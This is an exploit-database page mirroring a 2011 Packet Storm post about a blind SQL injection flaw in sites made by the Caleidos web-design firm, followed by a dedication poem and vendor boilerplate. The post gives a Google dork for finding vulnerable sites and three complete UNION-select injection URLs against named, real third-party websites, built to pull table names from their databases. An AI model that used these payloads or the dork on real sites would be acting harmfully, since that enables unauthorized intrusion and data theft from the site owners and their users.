Lucene search
K

Caleidos Blind SQL Injection

🗓️ 22 Oct 2011 00:00:00Reported by m3rciL3SsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Caleidos Blind SQL Injection Vulnerability on webapp

Code
`  
# Exploit Title: Caleidos Blind SQL Injection Vulnerability   
# Google Dork: intext:"WebDesign by www.caleidos.ws" inurl:php?id=  
# Date: 22.10.2011  
# Author: m3rciL3Ss  
# Service Link: http://www.caleidos.ws/it/web-design.php  
# Version:  
# Category: webapps  
################################  
# Demo site:  
===[ SQL ]===  
[»] http://www.lemacine-ferrara.it/en/news-dett.php?id=-17+and+1=1+union+select+0,1,2,3,4,5,6,group_concat%28table_name%29,8,9,10,11,12,13,14,15+from+information_schema.tables  
[»] http://www.siragroup.it/es/sistema-de-calefaccion.php?id=-35+and+1=1+union+select+0,1,2,3,4,5,6,group_concat%28table_name%29+from+information_schema.tables  
[»] http://www.explorercases.com/news2.php?id_news=-45+and+1=1+union+select+0,1,2,3,4,5,6,7,8,9,group_concat%28table_name%29,11,12+from+information_schema.tables  
============================  
Note : Number of Column May Vary  
################################  
m3rciL3Ss.blogspot.com  
twitter.com/_m3rciL3Ss  
################################  
  
Utanýyorum Þehidim,  
Utanýyorum.  
Yemekten,  
Ýçmekten,  
Senin Annen Aðlarken,  
Gülmekten Utanýyorum!  
Sanma ki;  
Unutuyor,  
Unutturuyoruz.  
Unutanlarý Barýndýrmaktan Utanýyorum.  
Sen; Vatan Ýçin Bizim Ýçin Þehit Olurken,  
Seni Görmezden Gelenlerden Utanýyorum...  
Aziz Nesin  
  
ALLAH Tüm ÞEHÝTLERÝMÝZÝN Mekanýný Cennet Eylesin  
AÝLELERÝNE Sonsuz Sabýr Versin  
################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Oct 2011 00:00Current
7.4High risk
Vulners AI Score7.4
21